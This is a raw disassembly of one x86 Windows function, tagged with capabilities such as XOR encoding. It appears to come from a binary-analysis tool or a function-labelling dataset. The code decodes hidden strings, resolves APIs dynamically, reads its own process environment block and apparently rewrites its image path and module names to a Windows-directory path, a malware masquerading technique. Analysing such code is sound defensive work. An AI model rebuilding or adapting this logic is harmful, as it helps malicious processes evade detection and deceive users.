Function at 0x402d40
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x728
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp word [0x41d2da], 0
movups xmm0, xmmword [str.VMWP]
mov eax, dword [0x41d2d8]
push esi
push edi
movups xmmword [ebp - 0x720], xmm0
mov dword [ebp - 0x710], eax
je 0x402dc3
xor esi, esi
nop dword [eax]
mov eax, 0x24924925
mov ecx, 1
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
sub ecx, eax
lea eax, [ecx*8]
sub eax, ecx
lea eax, [esi + eax*8]
xor word [ebp + esi*2 - 0x720], ax
inc esi
cmp esi, 0xa
jl 0x402d90
lea eax, [ebp - 0x720]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp byte [0x41d2f5], 0
mov edi, eax
movups xmm0, xmmword [0x41d2dc]
mov ax, word [0x41d2f4]
mov esi, dword [0x41fd50]
movaps xmm3, xmmword [0x41d340]
movups xmmword [ebp - 0x680], xmm0
mov dword [ebp - 0x658], edi
movq xmm0, qword [0x41d2ec]
movq qword [ebp - 0x670], xmm0
mov word [ebp - 0x668], ax
je 0x402f9c
xor ecx, ecx
mov dword [ebp - 0x654], ecx
cmp esi, 2
jl 0x402f60
movaps xmm0, xmmword [0x41d360]
movaps xmm5, xmmword [0x41d300]
movaps xmm4, xmmword [0x41d380]
movaps xmm6, xmmword [0x41d320]
movaps xmmword [ebp - 0x6a0], xmm0
mov edx, dword [ebp - 0x6a0]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x680]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x680], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x67c]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x67c], xmm2
add ecx, 8
cmp ecx, 0x18
jl 0x402e60
mov dword [ebp - 0x654], ecx
cmp ecx, 0x1a
jge 0x402f9c
nop dword [eax + eax]
mov eax, 0x92492493
imul ecx
add edx, ecx
mov cl, 1
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub cl, al
mov al, cl
shl al, 3
sub al, cl
mov ecx, dword [ebp - 0x654]
shl al, 3
add al, cl
xor byte [ebp + ecx - 0x680], al
inc ecx
mov dword [ebp - 0x654], ecx
cmp ecx, 0x1a
jl 0x402f60
lea eax, [ebp - 0x680]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x684], eax
test eax, eax
je 0x40387d
cmp byte [0x41d22f], 0
movups xmm0, xmmword [str.jMVRI_M]
movups xmmword [ebp - 0x6e0], xmm0
movq xmm0, qword [0x41d228]
movq qword [ebp - 0x6d0], xmm0
je 0x40315c
xor ecx, ecx
mov dword [ebp - 0x654], ecx
cmp esi, 2
jl 0x403120
movaps xmm0, xmmword [0x41d360]
movaps xmm5, xmmword [0x41d300]
movaps xmm4, xmmword [0x41d380]
movaps xmm6, xmmword [0x41d320]
movaps xmm3, xmmword [0x41d340]
movaps xmmword [ebp - 0x6a0], xmm0
mov edx, dword [ebp - 0x6a0]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x6e0]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x6e0], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x6dc]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x6dc], xmm2
add ecx, 8
cmp ecx, 0x18
jl 0x403030
jmp 0x40315c
mov eax, 0x92492493
imul ecx
add edx, ecx
mov cl, 1
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub cl, al
mov al, cl
shl al, 3
sub al, cl
mov ecx, dword [ebp - 0x654]
shl al, 3
add al, cl
xor byte [ebp + ecx - 0x6e0], al
inc ecx
mov dword [ebp - 0x654], ecx
cmp ecx, 0x18
jl 0x403120
lea eax, [ebp - 0x6e0]
push eax
push dword [ebp - 0x658]
call edi
mov dword [ebp - 0x65c], eax
test eax, eax
je 0x40387d
cmp byte [0x41d257], 0
movups xmm0, xmmword [0x41d240]
movups xmmword [ebp - 0x700], xmm0
movq xmm0, qword [0x41d250]
movq qword [ebp - 0x6f0], xmm0
je 0x40331c
xor ecx, ecx
mov dword [ebp - 0x654], ecx
cmp esi, 2
jl 0x4032e0
movaps xmm0, xmmword [0x41d360]
movaps xmm5, xmmword [0x41d300]
movaps xmm4, xmmword [0x41d380]
movaps xmm6, xmmword [0x41d320]
movaps xmm3, xmmword [0x41d340]
movaps xmmword [ebp - 0x6a0], xmm0
mov edx, dword [ebp - 0x6a0]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x700]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x700], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x6fc]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x6fc], xmm2
add ecx, 8
cmp ecx, 0x18
jl 0x4031f0
jmp 0x40331c
mov eax, 0x92492493
imul ecx
add edx, ecx
mov cl, 1
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub cl, al
mov al, cl
shl al, 3
sub al, cl
mov ecx, dword [ebp - 0x654]
shl al, 3
add al, cl
xor byte [ebp + ecx - 0x700], al
inc ecx
mov dword [ebp - 0x654], ecx
cmp ecx, 0x18
jl 0x4032e0
lea eax, [ebp - 0x700]
push eax
push dword [ebp - 0x658]
call edi
mov dword [ebp - 0x688], eax
test eax, eax
je 0x40387d
mov eax, dword [0x41d2c0]
xor ecx, ecx
mov dword [ebp - 0x6b0], eax
mov al, byte [0x41d2c4]
mov byte [ebp - 0x6ac], al
mov dword [ebp - 0x654], ecx
movups xmm0, xmmword [0x41d2b0]
movups xmmword [ebp - 0x6c0], xmm0
cmp esi, 2
jl 0x4034a0
movaps xmm0, xmmword [0x41d360]
movaps xmm5, xmmword [0x41d300]
movaps xmm4, xmmword [0x41d380]
movaps xmm6, xmmword [0x41d320]
movaps xmm3, xmmword [0x41d340]
movaps xmmword [ebp - 0x6a0], xmm0
mov edx, dword [ebp - 0x6a0]
nop
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x6c0]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x6c0], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x6bc]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x6bc], xmm2
add ecx, 8
cmp ecx, 0x10
jl 0x4033a0
mov dword [ebp - 0x654], ecx
cmp ecx, 0x15
jge 0x4034dc
nop dword [eax + eax]
mov eax, 0x92492493
imul ecx
add edx, ecx
mov cl, 1
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub cl, al
mov al, cl
shl al, 3
sub al, cl
mov ecx, dword [ebp - 0x654]
shl al, 3
add al, cl
xor byte [ebp + ecx - 0x6c0], al
inc ecx
mov dword [ebp - 0x654], ecx
cmp ecx, 0x15
jl 0x4034a0
lea eax, [ebp - 0x6c0]
push eax
push dword [ebp - 0x658]
call edi
mov dword [ebp - 0x658], eax
test eax, eax
je 0x40387d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x438
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x40387d
push 0
push 0x18
lea eax, [ebp - 0x640]
push eax
push 0
push edi
call dword [ebp - 0x684]
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x644]
push 0
push 4
push eax
lea eax, [ebp - 0x63c]
push eax
push edi
call esi
test eax, eax
je 0x40387d
push 0
push 4
lea eax, [ebp - 0x650]
push eax
mov eax, dword [ebp - 0x644]
add eax, 0xc
push eax
push edi
call esi
test eax, eax
je 0x40387d
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp word [0x41d2ae], 0
movups xmm0, xmmword [str.dBKPRLZ2o__E]
mov eax, dword [0x41d2ac]
mov dword [ebp - 0x668], eax
movups xmmword [ebp - 0x680], xmm0
movq xmm0, qword [0x41d2a4]
movq qword [ebp - 0x670], xmm0
je 0x4036ec
xor esi, esi
cmp dword [0x41fd50], 2
jl 0x4036b2
movaps xmm2, xmmword [0x41d300]
mov eax, str.dBKPRLZ2o__E
movaps xmm3, xmmword [0x41d380]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x41d320]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x41d310]
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [0x41d350]
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x680], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x41d320]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [ebp - 0x678]
paddw xmm1, xmmword [0x41d350]
xorps xmm1, xmm0
movq qword [ebp - 0x678], xmm1
mov eax, 0x92492493
mov ecx, 1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
lea eax, [ecx*8]
sub eax, ecx
lea eax, [esi + eax*8]
xor word [ebp + esi*2 - 0x680], ax
inc esi
cmp esi, 0xe
jl 0x4036b2
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x680]
push eax
lea eax, [ebp - 0x218]
push 0x105
push eax
call fcn.00409148
push 0x104
call fcn.0040941a
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x654], eax
push ecx
push 0x104
push eax
call fcn.004093b6
mov eax, dword [ebp - 0x644]
add esp, 0x1c
push dword [eax + 0x1c]
call dword [ebp - 0x65c]
mov eax, dword [ebp - 0x644]
push dword [ebp - 0x654]
mov eax, dword [eax + 0x10]
add eax, 0x38
push eax
call dword [ebp - 0x658]
mov eax, dword [ebp - 0x644]
push dword [ebp - 0x654]
mov eax, dword [eax + 0x10]
add eax, 0x40
push eax
call dword [ebp - 0x658]
push 0x104
lea eax, [ebp - 0x628]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebp - 0x644]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x650]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x64c], eax
nop
push 0
push 4
lea eax, [ebp - 0x648]
push eax
lea eax, [ebp - 0x64c]
push eax
push edi
call esi
test eax, eax
je 0x40387d
mov ecx, dword [ebp - 0x648]
push 0
movzx eax, word [ecx + 0x26]
push eax
lea eax, [ebp - 0x420]
push eax
push dword [ecx + 0x28]
push edi
call esi
test eax, eax
je 0x40387d
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x628]
push eax
call fcn.004092b5
add esp, 8
test eax, eax
mov eax, dword [ebp - 0x648]
je 0x403811
mov eax, dword [eax]
mov dword [ebp - 0x64c], eax
cmp eax, dword [ebp - 0x65c]
jne 0x4037a0
jmp 0x403835
push dword [ebp - 0x654]
mov esi, dword [ebp - 0x658]
add eax, 0x24
push eax
call esi
mov eax, dword [ebp - 0x648]
push dword [ebp - 0x654]
add eax, 0x2c
push eax
call esi
mov eax, dword [ebp - 0x644]
push dword [eax + 0x1c]
call dword [ebp - 0x688]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x420]
push ecx
lea ecx, [ebp - 0x218]
push ecx
call fcn.004092b5
add esp, 8
test eax, eax
je 0x40387d
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403b6d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00403b6d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret